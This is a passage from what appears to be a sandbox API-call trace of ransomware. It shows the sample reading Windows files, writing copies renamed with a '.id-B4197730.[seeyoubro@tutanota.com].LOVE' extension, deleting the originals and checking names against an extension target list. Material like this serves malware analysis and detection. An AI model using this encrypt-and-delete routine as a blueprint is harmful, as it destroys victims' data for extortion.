powershell.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.969] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0208.969] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.969] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.969] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0208.970] GetLastError () returned 0x0 [0208.970] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.994] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.995] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.995] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x102, lpOverlapped=0x0) returned 1 [0208.995] SetEndOfFile (hFile=0x2d8) returned 1 [0208.995] CloseHandle (hObject=0x2d8) returned 1 [0208.997] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.997] SetEndOfFile (hFile=0x364) returned 1 [0208.997] CloseHandle (hObject=0x364) returned 1 [0208.997] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.997] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0208.998] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.998] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.998] lstrlenW (lpString=".doc") returned 4 [0208.998] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".docx") returned 5 [0208.998] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.998] lstrlenW (lpString=".pdf") returned 4 [0208.998] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".xls") returned 4 [0208.998] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".xlsx") returned 5 [0208.998] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.998] lstrlenW (lpString=".ppt") returned 4 [0208.998] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.998] lstrlenW (lpString=".zip") returned 4 [0208.998] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".rar") returned 4 [0208.998] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".bz2") returned 4 [0208.998] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString=".7z") returned 3 [0208.998] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.998] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.998] lstrlenW (lpString=".dbf") returned 4 [0208.998] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.998] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".1cd") returned 4 [0208.999] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".jpg") returned 4 [0208.999] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".doc") returned 4 [0208.999] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".docx") returned 5 [0208.999] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.999] lstrlenW (lpString=".pdf") returned 4 [0208.999] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".xls") returned 4 [0208.999] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".xlsx") returned 5 [0208.999] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.999] lstrlenW (lpString=".ppt") returned 4 [0208.999] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".zip") returned 4 [0208.999] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".rar") returned 4 [0208.999] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".bz2") returned 4 [0208.999] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString=".7z") returned 3 [0208.999] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".dbf") returned 4 [0208.999] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.999] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0208.999] lstrlenW (lpString=".1cd") returned 4 [0209.000] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.000] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0209.000] lstrlenW (lpString=".jpg") returned 4 [0209.000] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.000] lstrcmpiW (lpString1=".sys", lpString2=".LOVE") returned 1 [0209.000] lstrlenW (lpString="pagefile.sys") returned 12 [0209.000] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.000] lstrlenW (lpString=".doc") returned 4 [0209.000] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0209.000] lstrlenW (lpString=".docx") returned 5 [0209.000] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0209.000] lstrlenW (lpString=".pdf") returned 4 [0209.000] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0209.000] lstrlenW (lpString=".xls") returned 4 [0209.000] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0209.000] lstrlenW (lpString=".xlsx") returned 5 [0209.000] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0209.000] lstrlenW (lpString=".ppt") returned 4 [0209.000] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0209.000] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.000] lstrlenW (lpString=".zip") returned 4 [0209.000] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0209.000] lstrlenW (lpString=".rar") returned 4 [0209.000] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0209.000] lstrlenW (lpString=".bz2") returned 4 [0209.001] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString=".7z") returned 3 [0209.001] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString=".dbf") returned 4 [0209.001] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString=".1cd") returned 4 [0209.001] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString=".jpg") returned 4 [0209.001] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString=".doc") returned 4 [0209.001] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString=".docx") returned 5 [0209.001] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0209.001] lstrlenW (lpString=".pdf") returned 4 [0209.001] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString=".xls") returned 4 [0209.001] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0209.001] lstrlenW (lpString=".xlsx") returned 5 [0209.001] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0209.001] lstrlenW (lpString=".ppt") returned 4 [0209.001] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.001] lstrlenW (lpString=".zip") returned 4 [0209.001] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0209.001] lstrlenW (lpString=".rar") returned 4 [0209.001] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString=".bz2") returned 4 [0209.001] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0209.001] lstrlenW (lpString=".7z") returned 3 [0209.001] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0209.002] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.002] lstrlenW (lpString=".dbf") returned 4 [0209.002] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0209.002] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.002] lstrlenW (lpString=".1cd") returned 4 [0209.002] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0209.002] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0209.002] lstrlenW (lpString=".jpg") returned 4 [0209.002] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0209.002] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0209.002] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0209.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe" (normalized: "c:\\program files\\common files\\counting_rankings_maternity.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.002] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=75776) returned 1 [0209.002] CloseHandle (hObject=0x364) returned 1 [0209.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe" (normalized: "c:\\program files\\common files\\counting_rankings_maternity.exe")) returned 0x20 [0209.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\counting_rankings_maternity.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe" (normalized: "c:\\program files\\common files\\counting_rankings_maternity.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.003] lstrlenW (lpString=".doc") returned 4 [0209.003] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.003] lstrlenW (lpString=".docx") returned 5 [0209.003] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0209.003] lstrlenW (lpString=".pdf") returned 4 [0209.003] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.003] lstrlenW (lpString=".xls") returned 4 [0209.003] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.003] lstrlenW (lpString=".xlsx") returned 5 [0209.003] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0209.003] lstrlenW (lpString=".ppt") returned 4 [0209.003] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.003] lstrlenW (lpString=".zip") returned 4 [0209.003] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.003] lstrlenW (lpString=".rar") returned 4 [0209.003] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.003] lstrlenW (lpString=".bz2") returned 4 [0209.003] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.003] lstrlenW (lpString=".7z") returned 3 [0209.003] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.003] lstrlenW (lpString=".dbf") returned 4 [0209.003] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.003] lstrlenW (lpString=".1cd") returned 4 [0209.003] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".jpg") returned 4 [0209.004] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".doc") returned 4 [0209.004] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.004] lstrlenW (lpString=".docx") returned 5 [0209.004] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0209.004] lstrlenW (lpString=".pdf") returned 4 [0209.004] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString=".xls") returned 4 [0209.004] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString=".xlsx") returned 5 [0209.004] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0209.004] lstrlenW (lpString=".ppt") returned 4 [0209.004] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".zip") returned 4 [0209.004] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString=".rar") returned 4 [0209.004] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.004] lstrlenW (lpString=".bz2") returned 4 [0209.004] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.004] lstrlenW (lpString=".7z") returned 3 [0209.004] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".dbf") returned 4 [0209.004] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".1cd") returned 4 [0209.004] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\counting_rankings_maternity.exe") returned 61 [0209.004] lstrlenW (lpString=".jpg") returned 4 [0209.004] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.005] lstrcmpiW (lpString1=".OLB", lpString2=".LOVE") returned 1 [0209.005] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0209.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.010] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=15984) returned 1 [0209.010] CloseHandle (hObject=0x364) returned 1 [0209.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0209.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.011] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.011] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.011] GetLastError () returned 0x0 [0209.011] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0209.041] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0209.042] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.042] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.042] SetEndOfFile (hFile=0x2d8) returned 1 [0209.042] CloseHandle (hObject=0x2d8) returned 1 [0209.043] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.043] SetEndOfFile (hFile=0x364) returned 1 [0209.044] CloseHandle (hObject=0x364) returned 1 [0209.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0209.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.044] lstrlenW (lpString=".doc") returned 4 [0209.044] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0209.044] lstrlenW (lpString=".docx") returned 5 [0209.044] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0209.044] lstrlenW (lpString=".pdf") returned 4 [0209.044] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0209.044] lstrlenW (lpString=".xls") returned 4 [0209.044] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0209.044] lstrlenW (lpString=".xlsx") returned 5 [0209.044] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0209.044] lstrlenW (lpString=".ppt") returned 4 [0209.044] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString=".zip") returned 4 [0209.045] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString=".rar") returned 4 [0209.045] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString=".bz2") returned 4 [0209.045] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0209.045] lstrlenW (lpString=".7z") returned 3 [0209.045] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString=".dbf") returned 4 [0209.045] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString=".1cd") returned 4 [0209.045] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString=".jpg") returned 4 [0209.045] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.045] lstrlenW (lpString=".doc") returned 4 [0209.045] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0209.045] lstrlenW (lpString=".docx") returned 5 [0209.045] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0209.045] lstrlenW (lpString=".pdf") returned 4 [0209.045] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString=".xls") returned 4 [0209.045] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString=".xlsx") returned 5 [0209.045] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0209.045] lstrlenW (lpString=".ppt") returned 4 [0209.045] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0209.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.046] lstrlenW (lpString=".zip") returned 4 [0209.046] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0209.046] lstrlenW (lpString=".rar") returned 4 [0209.046] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0209.046] lstrlenW (lpString=".bz2") returned 4 [0209.046] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0209.046] lstrlenW (lpString=".7z") returned 3 [0209.046] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0209.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.046] lstrlenW (lpString=".dbf") returned 4 [0209.046] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0209.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.046] lstrlenW (lpString=".1cd") returned 4 [0209.046] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0209.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0209.046] lstrlenW (lpString=".jpg") returned 4 [0209.046] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0209.046] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.046] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0209.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.046] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=18624) returned 1 [0209.046] CloseHandle (hObject=0x364) returned 1 [0209.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0209.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.047] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.047] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.047] CreateFileW (lpFileName="C:\\Program Files\\Common 